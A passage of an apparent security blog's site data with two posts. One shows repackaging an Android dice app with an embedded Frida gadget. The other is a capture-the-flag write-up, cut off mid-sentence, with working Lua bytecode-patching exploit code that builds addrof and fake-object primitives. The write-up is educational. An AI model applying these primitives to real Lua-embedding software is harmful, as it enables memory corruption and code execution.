2026","externalUrl":null,"permalink":"/tags/godot/","section":"Tags","summary":"","title":"Godot","type":"tags"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"23 October 2025","externalUrl":null,"permalink":"/tags/mobile/","section":"Tags","summary":"","title":"Mobile","type":"tags"},{"content":"For a side-project of mine, I recently faced the challenge of modding an application with frida, and then distribute the modded application to a couple friends.\nNow, using frida in its no-bs mode, that is, a host machine plugged via USB to a rooted phone, is simple and very widely documented in the internet. However, frida also supports autonomous script execution, which is ideal for mods.\nThis mode of operation is, alas, less used and documented. Moreover, the little documentation that exists leaves a lot to be desired, and with the advent of Frida 17 (which introduced important changes), is now oftentimes wrong.\nIn this blogpost I\u0026rsquo;m going to walk through a workflow that should work for your modding quests.\nThe Lab # For this experiment, let\u0026rsquo;s take a simple app and a simple mod.\nThe app picked for this experiment is Dicer . It\u0026rsquo;s an app to, well, roll dice.\nNow, about the mod\u0026hellip;if there\u0026rsquo;s one thing we want from an app that rolls dice, is controlling the result predictably, right?\nSo yeah, it\u0026rsquo;s exactly what you would expect: we\u0026rsquo;re going to mod the app so that we always get ONE, no matter how many times we roll.\nCreate the Agent # As mentioned above, since Frida 17, bridges are not part of the of the GumJS runtime anymore, which means that bridges need to be pulled in the agent just like every other package we would need to use.\nThe frida-tools package contains a useful script to scaffold a new frida agent:\n❯ frida-create -t agent -o mod Created mod/package.json Created mod/tsconfig.json Created mod/agent/index.ts Created mod/agent/logger.ts Created mod/.gitignore Run `npm install` to bootstrap, then: - Keep one terminal running: npm run watch - Inject agent using the REPL: frida Calculator -l _agent.js - Edit agent/*.ts - REPL will live-reload on save Tip: Use an editor like Visual Studio Code for code completion, inline docs, instant type-checking feedback, refactoring tools, etc. This commands creates a new typescript project, configured with all the correct switches and scripts that make compiling frida agents as easy as running npm run build.\nTime to write the mod.\nMod Development # My intention is to keep this blogpost short, so I will not delve into frida development or Android reverse engineering. So here\u0026rsquo;s the full code of the mod:\nimport Java from \u0026#34;frida-java-bridge\u0026#34;; Java.perform(function () { var dicer = Java.use(\u0026#34;org.secuso.privacyfriendlydicer.dicer.Dicer\u0026#34;); dicer.rollDice.implementation = function (numDice: number, numFaces: number) { return Array(numDice).fill(1); }; }); In order to compile this mod, we first need to pull the bridge package:\nnpm install frida-java-bridge\nAnd then we can compile things with:\nnpm run build\nThe npm script simply calls frida-compile with the correct arguments (you can inspect them in the package.json file).\nBefore moving on to the distribution part, it\u0026rsquo;s important to test the mod. That can be done by invoking the app with frida, loading the script:\nfrida -U -f org.secuso.privacyfriendlydicer -l _agent.js\nWhich shows that, no matter what, we now really suck at this game:\nOk, mod has been confirmed, we can continue with distribution.\nMod Distribution # One of the frida essentials is that frida must inject an agent in the target process in order to do its magic. How frida does so depends on its mode of operation: when a frida-server is running on the device, the frida-tools such as the REPL or frida-trace can contact the server, either via USB or network, and the server takes care of injecting the agent into a running process – or spawning it in the first place.\nBut this is not the only way!\nIn fact, the frida-gadget – which is essentially a dynamic library, AKA an .so file in Android – can be directly embedded into the app. This way, we can use frida in jailed/unrooted devices where running the privileged frida-server is not feasible. But there\u0026rsquo;s also another important advantage: in its gadget embedding mode, frida provides autonomous script execution, which means that the app loads and executes the agent without any interaction from outside tooling. And this is exactly what we want to use for mod distribution.\nEasy Patching via Objection # There are some steps involved with embedding the frida-gadget library and configuring it for autonomous script execution. Luckily, we can use the good old objection suite to automate the workflow.\nFirst, we compile again the agent, in its root directory:\n❯ npm run build \u0026gt; dice-agent@1.0.0 build \u0026gt; frida-compile agent/index.ts -o _agent.js -c Then, we need to create the frida-gadget configuration file. For autonomous script execution, the configuration should have the following content:\n{ \u0026#34;interaction\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;script\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;libfrida-gadget.script.so\u0026#34; } } We will name this file gadget-config.json.\nTime to let objection do its magic:\n❯ objection patchapk -s org.secuso.privacyfriendlydicer.apk -c gadget-config.js -l mod/_agent.js --use-aapt2 No architecture specified. Determining it using `adb`... Detected target device architecture as: arm64-v8a Using latest Github gadget version: 17.4.0 Patcher will be using Gadget version: 17.4.0 Detected apktool version as: 2.10.0 Running apktool empty-framework-dir... I: Removing 1.apk framework file... Unpacking org.secuso.privacyfriendlydicer.apk App does not have android.permission.INTERNET, attempting to patch the AndroidManifest.xml... Injecting permission: android.permission.INTERNET Writing new Android manifest... Target class not specified, searching for launchable activity instead... Reading smali from: /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali Injecting loadLibrary call at line: 6 Attempting to fix the constructors .locals count Current locals value is 0, updating to 1: Writing patched smali back to: /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali Creating library path: /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp/lib/arm64-v8a Copying Frida gadget to libs path... Adding a gadget configuration file... Copying over a custom script to use with the gadget config. Rebuilding the APK with the frida-gadget loaded... Built new APK with injected loadLibrary and frida-gadget Performing zipalign Zipalign completed Signing new APK. Signing the new APK may have failed. WARNING: A restricted method in java.lang.System has been called WARNING: java.lang.System::loadLibrary has been called by org.conscrypt.NativeLibraryUtil in an unnamed module (file:/Users/madt1m/Library/Android/sdk/build-tools/34.0.0/lib/apksigner.jar) WARNING: Use --enable-native-access=ALL-UNNAMED to avoid a warning for callers in this module WARNING: Restricted methods will be blocked in a future release unless native access is enabled Signed the new APK Copying final apk from /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp.aligned.objection.apk to org.secuso.privacyfriendlydicer.objection.apk in current directory... Cleaning up temp files... We can ignore – just this time, never ignore warnings – the big red WARNING produced by Java for apksigner.jar.\nAfter running the command, you should see a file named \u0026lt;original_apk_name\u0026gt;.objection.apk in the current directory. That\u0026rsquo;s the modded APK!\nWe can now confirm that the modded app works by uninstalling the original app, reinstalling the modded APK, unplugging the USB cable from the phone, running the app and notice that we still suck at throwing dice 🚀🚀🚀\n(NOTES FOR SPLIT APKs) # In case your target app is made of multiple (split) APKs, the tool should always be launched against the base APK, that is, the one that contains the MainActivity of the application.\nMoreover, once the modded APK has been produced, you will need to sign the other split APKs with the same key that objection used. You can use objection signapk apk1, apk2, ... for this.\nLast but not least, the split APKs must be installed together. You can do this via adb install-multiple apk1, apk2, ..., but this isn\u0026rsquo;t great for distribution, right? Much better to merge the split APKs into a single one via https://github.com/REAndroid/APKEditor.\nBonus - How The Sausage Is Made # Depending on tools is all good and allows for quick mod developments, but what if things break? In this bonus section, I\u0026rsquo;ll peek into the objection magic.\nThe first step is to extract both the APKs (the original and the modded):\n❯ apktool d org.secuso.privacyfriendlydicer.apk I: Using Apktool 2.10.0 on org.secuso.privacyfriendlydicer.apk with 8 thread(s). I: Baksmaling classes.dex... I: Loading resource table... I: Decoding file-resources... I: Loading resource table from file: /Users/madt1m/Library/apktool/framework/1.apk I: Decoding values */* XMLs... I: Decoding AndroidManifest.xml with resources... I: Regular manifest package... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... I: Copying META-INF/services directory ❯ apktool d org.secuso.privacyfriendlydicer.objection.apk I: Using Apktool 2.10.0 on org.secuso.privacyfriendlydicer.objection.apk with 8 thread(s). I: Baksmaling classes.dex... I: Loading resource table... I: Decoding file-resources... I: Loading resource table from file: /Users/madt1m/Library/apktool/framework/1.apk I: Decoding values */* XMLs... I: Decoding AndroidManifest.xml with resources... I: Regular manifest package... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... I: Copying META-INF/services directory We can resort to a simple diff to see what changed:\ndiff -r org.secuso.privacyfriendlydicer org.secuso.privacyfriendlydicer.objection\nThe output of this command is quite large and contains a lot of unimportant changes. However, we can quickly spot the important parts:\nandroid.permission.INTERNET # diff --color -r org.secuso.privacyfriendlydicer/AndroidManifest.xml org.secuso.privacyfriendlydicer.objection/AndroidManifest.xml 33a34 \u0026gt; \u0026lt;uses-permission android:name=\u0026#34;android.permission.INTERNET\u0026#34;/\u0026gt; objection patched the Android manifest to include the INTERNET permission. This is needed in case we needed to run the frida-gadget in listen mode, to allow connections from the frida-tools. We don\u0026rsquo;t actually need this for our mode of operation.\nlib directory # Only in org.secuso.privacyfriendlydicer.objection: lib A new directory was added to the modded apk:\n❯ tree lib lib └── arm64-v8a ├── libfrida-gadget.config.so ├── libfrida-gadget.script.so └── libfrida-gadget.so 2 directories, 3 files These are, respectively:\nThe frida-gadget configuration. The agent. The frida-gadget library itself. Essentially, objection is adding a new native library to the APK, and it\u0026rsquo;s setting up the autonomous agent and the configuration just where frida expects them to be.\nLibrary Loading # diff --color -r org.secuso.privacyfriendlydicer/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali org.secuso.privacyfriendlydicer.objection/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali 6a7,17 \u0026gt; .method static constructor \u0026lt;clinit\u0026gt;()V \u0026gt; .locals 1 \u0026gt; \u0026gt; .prologue \u0026gt; const-string v0, \u0026#34;frida-gadget\u0026#34; \u0026gt; \u0026gt; invoke-static {v0}, Ljava/lang/System;-\u0026gt;loadLibrary(Ljava/lang/String;)V \u0026gt; \u0026gt; return-void \u0026gt; .end method \u0026gt; This is smali assembly that implements the System.loadLibrary(\u0026quot;frida-gadget\u0026quot;) method call. The latter loads the frida-gadget library that lives in the lib directory.\nThe .method static constructor \u0026lt;clinit\u0026gt;()V line defines a static constructor for the class, so that it will run a single time, when the SplashActivity class is first loaded by the Dalvik VM.\nAs expected, the activity we\u0026rsquo;re injecting is the main activity of the application, that is, the one that is created and called when the application spawns. We can verify this by inspecting the Android manifest:\n\u0026lt;activity android:exported=\u0026#34;true\u0026#34; android:name=\u0026#34;org.secuso.privacyfriendlydicer.ui.SplashActivity\u0026#34; android:theme=\u0026#34;@style/SplashTheme\u0026#34;\u0026gt; \u0026lt;intent-filter\u0026gt; \u0026lt;action android:name=\u0026#34;android.intent.action.MAIN\u0026#34;/\u0026gt; \u0026lt;category android:name=\u0026#34;android.intent.category.LAUNCHER\u0026#34;/\u0026gt; \u0026lt;/intent-filter\u0026gt; \u0026lt;/activity\u0026gt; Conclusions # It happened to me more than once that I wanted to package and distribute applications modded with frida. It made sense to write a blogpost, so that I can store this workflow somewhere, and maybe others can find it useful, too.\nHappy hacking!\n","date":"23 October 2025","externalUrl":null,"permalink":"/posts/2025-10-23-modding-distributing-frida-apps/","section":"Experiments","summary":"Walkthrough of how to embed frida scripts in apps to distribute proper mods. Supports frida 17+.","title":"Modding and distributing mobile apps with frida","type":"posts"},{"content":"","date":"20 September 2024","externalUrl":"https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/","permalink":"/posts/2024-09-20-sudo-iptables-privesc/","section":"Experiments","summary":"You’ve landed on a network appliance and you need those fancy privileges? Don’t worry, I’ve got your back!","title":"A journey from `sudo` iptables to local privilege escalation","type":"posts"},{"content":"","date":"20 September 2024","externalUrl":null,"permalink":"/tags/external/","section":"Tags","summary":"","title":"External","type":"tags"},{"content":"","date":"20 September 2024","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"20 September 2024","externalUrl":null,"permalink":"/tags/privesc/","section":"Tags","summary":"","title":"Privesc","type":"tags"},{"content":" Introduction # At some point, some weeks ago, I\u0026rsquo;ve stumbled upon this fascinating read. In it, the author thoroughly explains an RCE (Remote Code Execution) they found on the Lua interpreter used in the Factorio game. I heartily recommend anyone interested in game scripting, exploit development, or just cool low-level hacks, to check out the blogpost \u0026ndash; as it contains a real wealth of insights.\nThe author topped this off by releasing a companion challenge to the writeup; it consists of a Lua interpreter, running in-browser, for readers to exploit on their own. Solving the challenge was a fun ride and a great addition to the content!\nThe challenge is different enough from the blogpost that it makes sense to document a writeup. Plus, I find enjoyment in writing, so there\u0026rsquo;s that.\nI hope you\u0026rsquo;ll find this content useful in your journey :)\nInstead of repeating concepts that are - to me - already well explained in that resource, I have decided to focus on the new obstacles that I faced while solving the challenge, and on new things I learned in the process. If at any point the content of the writeup becomes cryptic, I\u0026rsquo;d suggest consulting the blogpost to get some clarity on the techniques used.\nThe Lab # The challenge is available for anyone at https://alcawasm.memorycorruption.net/ (and it does not require any login or registration).\nWhen visiting it, you\u0026rsquo;re welcomed by the following UI:\nThese are the details of each section:\nEditor: an embedded VSCode for convenient scripting. Console: a console connected to the output of the Lua interpreter. Definitions: Useful definitions of the Lua interpreter, including paddings. Goals: a list of objectives towards finishing the challenge. They automatically update when a goal is reached, but I\u0026rsquo;ve found this to be a bit buggy, TBH. Working on the UI is not too bad, but I strongly suggest to copy-paste the code quite often \u0026ndash; I don\u0026rsquo;t know how many times I\u0026rsquo;ve typed CMD+R instead of CMD+E (the shortcut to execute the code), reloading the page and losing my precious experiments.\nInformation Gathering # After playing for a bit with the interpreter, I quickly decided I wanted to save some time for my future self by understanding the environment a little bit better.\nNote: this is, in my experience, a great idea. Always setup your lab!\nLuckily, this is as easy as opening DevTools and using our uberly refined l33t intuition skills to find how the Lua interpreter was embedded in the browser:\nand a bit of GitHub\u0026hellip;\nWith these mad OSINT skillz, I learned that the challenge is built with wasmoon, a package that compiles the Lua v5.4 repository to WASM and then provides JS bindings to instantiate and control the interpreter.\nThis assumption is quickly corroborated by executing the following:\nprint(_VERSION) This prints out Lua 5.4 (you should try executing that code to start getting comfortable with the interface).\nThis information is valuable for exploitation purposes, as it gives us the source code of the interpreter, which can be fetched by cloning the lua repository.\nLet\u0026rsquo;s dive in!\nWait, it\u0026rsquo;s all TValues? # The first goal of the challenge is to gain the ability to leak addresses of TValues (Lua variables) that we create \u0026ndash; AKA the addrof primitive.\nIn the linked blogpost, the author shows how to confuse types in a for-loop to gain that. In particular, they use the following code to leak addresses:\nasnum = load(string.dump(function(x) for i = 0, 1000000000000, x do return i end end):gsub(\u0026#34;\\x61\\0\\0\\x80\u0026#34;, \u0026#34;\\x17\\0\\0\\128\u0026#34;)) foo = \u0026#34;Memory Corruption\u0026#34; print(asnum(foo)) The gsub call patches the bytecode of the function to replace the FORPREP instruction. Without the patch, the interpreter would raise an error due to a non-numeric step parameter.\nLoading this code in the challenge interface leads to an error:\nError: [string \u0026#34;asnum = load(string.dump(function(x)...\u0026#34;]:2: bad \u0026#39;for\u0026#39; step (number expected, got string) This is not too surprising, isn\u0026rsquo;t it? Since we are dealing with a different version of the interpreter, the bytes used in the gsub patch are probably wrong.\nFixing the patch # No worries, though, as the interpreter in the challenge is equipped with two useful features:\nasm -\u0026gt; assembles Lua instructions to bytes bytecode -\u0026gt; pretty-prints the bytecode of the provided Lua function Let\u0026rsquo;s inspect the bytecode of the for loop function to understand what is there we have to patch:\n# Code asnum = load(string.dump(function(x) for i = 0, 1000000000000, x do return i end end)) print(bytecode(asnum)) # Output function \u0026lt;(string):1,3\u0026gt; (7 instructions at 0x1099f0) 1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions 1\t7fff8081\t[2]\tLOADI 1 0 2\t00000103\t[2]\tLOADK 2 0\t; 1000000000000 3\t00000180\t[2]\tMOVE 3 0 4\t000080ca\t[2]\tFORPREP 1 1\t; exit to 7 \u0026lt;--- INSTRUCTION to PATCH 5\t00020248\t[2]\tRETURN1 4 6\t000100c9\t[2]\tFORLOOP 1 2\t; to 5 7\t000100c7\t[3]\tRETURN0 constants (1) for 0x1099f0: 0\t1000000000000 locals (5) for 0x1099f0: 0\tx\t1\t8 1\t(for state)\t4\t7 2\t(for state)\t4\t7 3\t(for state)\t4\t7 4\ti\t5\t6 upvalues (0) for 0x1099f0: The instruction to patch is the FORPREP. Represented in little endian, its binary value is 0xca800000.\nWe will patch it with a JMP 1. by doing so, the flow will jump to the FORLOOP instruction, which will increment the index with the value of the x step parameter. This way, by leveraging the type confusion, the returned index will contain the address of the TValue passed as input.\nThe next step is to assemble the target instruction:\n# Code print(string.format(\u0026#34;%4x\u0026#34;, asm(\u0026#34;JMP\u0026#34;, 1, 0))) # Output 80000038 And we can then verify that the patching works as expected:\n# Code asnum = load(string.dump(function(x) for i = 0, 1000000000000, x do return i end end):gsub(\u0026#34;\\xca\\x80\\0\\0\u0026#34;, \u0026#34;\\x38\\0\\0\\x80\u0026#34;)) print(bytecode(asnum)) # Output function \u0026lt;(string):1,3\u0026gt; (7 instructions at 0x10df28) 1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions 1\t7fff8081\t[2]\tLOADI 1 0 2\t00000103\t[2]\tLOADK 2 0\t; 1000000000000 3\t00000180\t[2]\tMOVE 3 0 4\t80000038\t[2]\tJMP 1\t; to 6 \u0026lt;--- PATCHING WORKED! 5\t00020248\t[2]\tRETURN1 4 6\t000100c9\t[2]\tFORLOOP 1 2\t; to 5 7\t000100c7\t[3]\tRETURN0 constants (1) for 0x10df28: 0\t1000000000000 locals (5) for 0x10df28: 0\tx\t1\t8 1\t(for state)\t4\t7 2\t(for state)\t4\t7 3\t(for state)\t4\t7 4\ti\t5\t6 upvalues (0) for 0x10df28: Leak Denied # By trying to leak a TValue result with the type confusion, something is immediately off:\n# Code asnum = load(string.dump(function(x) for i = 0, 1000000000000, x do return i end end):gsub(\u0026#34;\\xca\\x80\\0\\0\u0026#34;, \u0026#34;\\x38\\0\\0\\x80\u0026#34;)) foo = function() print(1) end print(\u0026#34;foo:\u0026#34;, foo) print(\u0026#34;leak:\u0026#34;,asnum(foo)) # Output foo:\tLClosure: 0x10a0c0 leak: \u0026lt;--- OUTPUT SHOULD NOT BE NULL! As a reliable way to test the addrof primitive, I am using functions. In fact, by default, when passing a function variable to the print function in Lua, the address of the function is displayed. We can use this to test if our primitive works.\nFrom this test, it seems that the for loop is not returning the address leak we expect. To find out the reason about this, I took a little break and inspected the function responsible for this in the source code. The relevant snippets follow:\n[SNIP] vmcase(OP_FORLOOP) { StkId ra = RA(i); if (ttisinteger(s2v(ra + 2))) { /* integer loop? */ lua_Unsigned count = l_castS2U(ivalue(s2v(ra + 1))); if (count \u0026gt; 0) { /* still more iterations? */ lua_Integer step = ivalue(s2v(ra + 2)); lua_Integer idx = ivalue(s2v(ra)); /* internal index */ chgivalue(s2v(ra + 1), count - 1); /* update counter */ idx = intop(+, idx, step); /* add step to index */ chgivalue(s2v(ra), idx); /* update internal index */ setivalue(s2v(ra + 3), idx); /* and control variable */ pc -= GETARG_Bx(i); /* jump back */ } } else if (floatforloop(ra)) /* float loop */ \u0026lt;--- OUR FLOW GOES HERE pc -= GETARG_Bx(i); /* jump back */ updatetrap(ci); /* allows a signal to break the loop */ vmbreak; } [SNIP] /* ** Execute a step of a float numerical for loop, returning ** true iff the loop must continue. (The integer case is ** written online with opcode OP_FORLOOP, for performance.) */ static int floatforloop (StkId ra) { lua_Number step = fltvalue(s2v(ra + 2)); lua_Number limit = fltvalue(s2v(ra + 1)); lua_Number idx = fltvalue(s2v(ra)); /* internal index */ idx = luai_numadd(L, idx, step); /* increment index */ if (luai_numlt(0, step) ? luai_numle(idx, limit) \u0026lt;--- CHECKS IF THE LOOP MUST CONTINUE : luai_numle(limit, idx)) { chgfltvalue(s2v(ra), idx); /* update internal index */ \u0026lt;--- THIS IS WHERE THE INDEX IS UPDATED setfltvalue(s2v(ra + 3), idx); /* and control variable */ return 1; /* jump back */ } else return 0; /* finish the loop */ } Essentially, this code is doing the following:\nIf the loop is an integer loop (e.g. the TValue step has an integer type), the function is computing the updates and checks inline (but we don\u0026rsquo;t really care as it\u0026rsquo;s not our case). If instead (as in our case) the step TValue is not an integer, execution reaches the floatforloop function, which takes care of updating the index and checking the limit. The function increments the index and checks if it still smaller than the limit. In that case, the index will be updated and the for loop continues \u0026ndash; this is what we want! We need to make sure that, once incremented with the x step (which, remember, is the address of the target TValue), the index is not greater than the limit (the number 1000000000000, in our code). Most likely, the problem here is that the leaked address, interpreted as an IEEE 754 double, is bigger than the constant used, so the execution never reaches the return i that would return the leak.\nWe can test this assumption by slightly modifying the code to add a return value after the for-loop ends:\n# Code asnum = load(string.dump(function(x) for i = 0, 1000000000000, x do return i end return -1 \u0026lt;--- IF x \u0026gt; 1000000000000, EXECUTION WILL GO HERE end):gsub(\u0026#34;\\xca\\x80\\0\\0\u0026#34;, \u0026#34;\\x38\\0\\0\\x80\u0026#34;)) foo = function() print(1) end print(\u0026#34;foo:\u0026#34;, foo) print(\u0026#34;leak:\u0026#34;,asnum(foo)) # Output foo:\tLClosure: 0x10df18 leak:\t-1 \u0026lt;--- OUR GUESS IS CONFIRMED There\u0026rsquo;s a simple solution to this problem: by using x as both the step and the limit, we are sure that the loop will continue to the return statement.\nThe leak experiment thus becomes:\n# Code asnum = load(string.dump(function(x) for i = 0, x, x do return i end end):gsub(\u0026#34;\\xca\\x80\\0\\0\u0026#34;, \u0026#34;\\x38\\0\\0\\x80\u0026#34;)) foo = function() print(1) end print(\u0026#34;foo:\u0026#34;, foo) print(\u0026#34;leak:\u0026#34;,asnum(foo)) # Output foo:\tLClosure: 0x10a0b0 leak:\t2.3107345851353e-308 Looks like we are getting somewhere.\nHowever, the clever will notice that the address of the function and the printed leaks do not seem to match. This is well explained in the original writeup: Lua thinks that the returned address is a double, thus it will use the IEEE 754 representation. Indeed, in the blogpost, the author embarks on an adventurous quest to natively transform this double in the integer binary representation needed to complete the addrof primitive.\nWe don\u0026rsquo;t need this. In fact, since Lua 5.3, the interpreter supports integer types!\nThis makes completing the addrof primitive a breeze, by resorting to the native string.pack and string.unpack functions:\n# Code asnum = load(string.dump(function(x) for i = 0, x, x do return i end end):gsub(\u0026#34;\\xca\\x80\\x00\\x00\u0026#34;, \u0026#34;\\x38\\x00\\x00\\x80\u0026#34;)) function addr_of(variable) return string.unpack(\u0026#34;L\u0026#34;, string.pack(\u0026#34;d\u0026#34;, asnum(variable))) end foo = function() print(1) end print(\u0026#34;foo:\u0026#34;, foo) print(string.format(\u0026#34;leak: 0x%2x\u0026#34;,addr_of(foo))) # Output foo:\tLClosure: 0x10a0e8 leak: 0x10a0e8 Good, our leak now finally matches the function address!\nNote: another way to solve the limit problem is to use the maximum double value, which roughly amounts to 2^1024.\nTrust is the weakest link # The next piece of the puzzle is to find a way to craft fake objects.\nFor this, we can pretty much use the same technique used in the blogpost:\n# Code confuse = load(string.dump(function() local foo local bar local target return (function() \u0026lt;--- THIS IS THE TARGET CLOSURE WE ARE RETURNING (function() print(foo) print(bar) print(\u0026#34;Leaking outer closure: \u0026#34;,target) \u0026lt;--- TARGET UPVALUE SHOULD POINT TO THE TARGET CLOSURE end)() end) end):gsub(\u0026#34;(\\x01\\x00\\x00\\x01\\x01\\x00\\x01)\\x02\u0026#34;, \u0026#34;%1\\x03\u0026#34;, 1)) outer_closure = confuse() print(\u0026#34;Returned outer closure:\u0026#34;, outer_closure) print(\u0026#34;Calling it...\u0026#34;) outer_closure() # Output Returned outer closure:\tLClosure: 0x109a98 Calling it... nil nil Leaking outer closure: LClosure: 0x109a98 \u0026lt;--- THIS CONFIRMS THAT THE CONFUSED UPVALUE POINTS TO THE RIGHT THING Two notable mentions here:\nAgain, in order to make things work with this interpreter I had to change the bytes in the patching. In this case, as the patching happens not in the opcodes but rather in the upvalues of the functions, I resorted to manually examining the bytecode dump to find a pattern that seemed the right one to patch \u0026ndash; in this case, what we are patching is the \u0026ldquo;upvals table\u0026rdquo; of the outer closure.\nWe are returning the outer closure to verify that the upvalue confusion is working. In fact, in the code, I\u0026rsquo;m printing the address of the outer closure (which is returned by the function), and printing the value of the patched target upvalue, and expecting them to match.\nFrom the output of the interpreter, we confirm that we have successfully confused upvalues.\nIf it looks like a Closure # Ok, we can leak the outer closure by confusing upvalues. But can we overwrite it? Let\u0026rsquo;s check:\n# Code confuse = load(string.dump(function() local foo local bar local target return (function() (function() print(foo) print(bar) target = \u0026#34;AAAAAAAAA\u0026#34; end)() return 10000000 end)(), 1337 end):gsub(\u0026#34;(\\x01\\x00\\x00\\x01\\x01\\x00\\x01)\\x02\u0026#34;, \u0026#34;%1\\x03\u0026#34;, 1)) confuse() # Output nil nil RuntimeError: Aborted(segmentation fault) Execution aborted with a segmentation fault.\nTo make debugging simple, and ensure that the segmentation fault depends on a situation that I could control, I\u0026rsquo;ve passed the same script to the standalone Lua interpreter cloned locally, built with debugging symbols.\nWhat we learn from GDB confirms this is the happy path:\nAfter the inner function returns, the execution flow goes back to the outer closure. In order to execute the return 100000000 instruction, the interpreter will try fetching the constants table from the closure -\u0026gt; which will end up in error because the object is not really a closure, but a string, thanks to the overwrite in the inner closure.\n\u0026hellip;except this is not at all what is happening in the challenge.\nThanks for all the definitions # If you try to repeatedly execute (in the challenge UI) the script above, you will notice that sometimes the error appears as a segmentation fault, other times as an aligned fault, and other times it does not even errors.\nThe reason is that, probably due to how wasmoon is compiled (and the fact that it uses WASM), some of the pointers and integers will have a 32 bit size, instead of the expected 64. The consequence of this is that many of the paddings in the structs will not match what we have in standalone Lua interpreter!\nNote: while this makes the usability of the standalone Lua as a debugging tool\u0026hellip;questionable, I think it was still useful and therefore I\u0026rsquo;ve kept it in the writeup.\nThis could be a problem, for our exploit-y purposes. In the linked blogpost, the author chooses the path of a fake constants table to craft a fake object. This is possible because of two facts:\nIn the LClosure struct, the address of its Proto struct, which holds among the other things the constants values, is placed 24 bytes after the start of the struct. In the TString struct, the content of the string is placed 24 bytes after the start of the struct. Therefore, when replacing an LClosure with a TString via upvalues confusion, the two align handsomely, and the attacker thus controls the Proto pointer, making the chain work.\nHowever, here\u0026rsquo;s the definitions of LClosure and TString for the challenge:\nstruct TString { +0: (struct GCObject *) next +4: (typedef lu_byte) tt +5: (typedef lu_byte) marked +6: (typedef lu_byte) extra +7: (typedef lu_byte) shrlen +8: (unsigned int) hash +12: (union { size_t lnglen; TString *hnext; }) u +16: (char[1]) contents \u0026lt;--- CONTENTS START AFTER 16 BYTES } ... struct LClosure { +0: (struct GCObject *) next +4: (typedef lu_byte) tt +5: (typedef lu_byte) marked +6: (typedef lu_byte) nupvalues +8: (GCObject *) gclist +12: (struct Proto *) p \u0026lt;--- PROTO IS AFTER 12 BYTES +16: (UpVal *[1]) upvals } Looking at the definition, it is now clear why the technique used in the blogpost would not work in this challenge: because even if we can confuse a TString with an LClosure, the bytes of the Proto pointer are not under our control!\nOf course, there is another path.\nCheer UpValue # In the linked blogpost, the author mentions another way of crafting fake objects that doesn\u0026rsquo;t go through overwriting the Prototype pointer. Instead, it uses upvalues.\nBy looking at the definitions listed previously, you might have noticed that, while the Proto pointer in the LClosure cannot be controlled with a TString, the pointer to the upvals array is instead nicely aligned with the start of the string contents.\nIndeed, the author mentions that fake objects can be created via upvalues too (but then chooses another road).\nTo see how, we can inspect the code of the GETUPVAL opcode in Lua, the instruction used to retrieve upvalues:\nstruct UpVal { +0: (struct GCObject *) next +4: (typedef lu_byte) tt +5: (typedef lu_byte) marked +8: (union { TValue *p; ptrdiff_t offset; }) v +16: (union { struct { UpVal *next; UpVal **previous; }; UpVal::(unnamed struct) open; TValue value; }) u } ... vmcase(OP_GETUPVAL) { StkId ra = RA(i); int b = GETARG_B(i); setobj2s(L, ra, cl-\u0026gt;upvals[b]-\u0026gt;v.p); vmbreak; } The code visits the cl-\u0026gt;upvals array, navigates to the bth element, and takes the pointer to the TValue value v.p.\nAll in all, what we need to craft a fake object is depicted in the image below:\nThis deserves a try!\nUnleash the beast # A good test of our object artisanship skills would be to create a fake string and have it correctly returned by our craft_object primitive. We will choose an arbitrary length for the string, and then verify whether Lua agrees on its length once the object is crafted. This should confirm the primitive works.\nDown below, I will list the complete code of the experiment, which implements the diagram above:\nlocal function ubn(n, len) local t = {} for i = 1, len do local b = n % 256 t[i] = string.char(b) n = (n - b) / 256 end return table.concat(t) end asnum = load(string.dump(function(x) for i = 0, x, x do return i end end):gsub(\u0026#34;\\xca\\x80\\x00\\x00\u0026#34;, \u0026#34;\\x38\\x00\\x00\\x80\u0026#34;)) function addr_of(variable) return string.unpack(\u0026#34;L\u0026#34;, string.pack(\u0026#34;d\u0026#34;, asnum(variable))) end -- next + tt/marked/extra/padding/hash + len fakeStr = ubn(0x0, 12) .. ubn(0x1337, 4) print(string.format(\u0026#34;Fake str at: 0x%2x\u0026#34;, addr_of(fakeStr))) -- Value + Type (LUA_VLNGSTRING = 0x54) fakeTValue = ubn(addr_of(fakeStr) + 16, 8) .. ubn(0x54, 1) print(string.format(\u0026#34;Fake TValue at: 0x%2x\u0026#34;, addr_of(fakeTValue))) -- next + tt/marked + v fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeTValue) + 16, 8) print(string.format(\u0026#34;Fake Upvals at: 0x%2x\u0026#34;, addr_of(fakeUpvals))) -- upvals fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8) print(string.format(\u0026#34;Fake Closureat : 0x%2x\u0026#34;, addr_of(fakeClosure))) craft_object = string.dump(function(closure) local foo local bar local target return (function(closure) (function(closure) print(foo) print(bar) print(target) target = closure end)(closure) return _ENV end)(closure), 1337 end) craft_object = craft_object:gsub(\u0026#34;(\\x01\\x01\\x00\\x01\\x02\\x00\\x01)\\x03\u0026#34;, \u0026#34;%1\\x04\u0026#34;, 1) craft_object = load(craft_object) crafted = craft_object(fakeClosure) print(string.format(\u0026#34;Crafted string length is %x\u0026#34;, #crafted)) Note: as you can see, in the outer closure, I am returning the faked object by returning the _ENV variable. This is the first upvalue of the closure, pushed automatically by the interpreter for internal reasons. This way, I am instructing the interpreter to return the first upvalue in the upvalues array, which points to our crafted 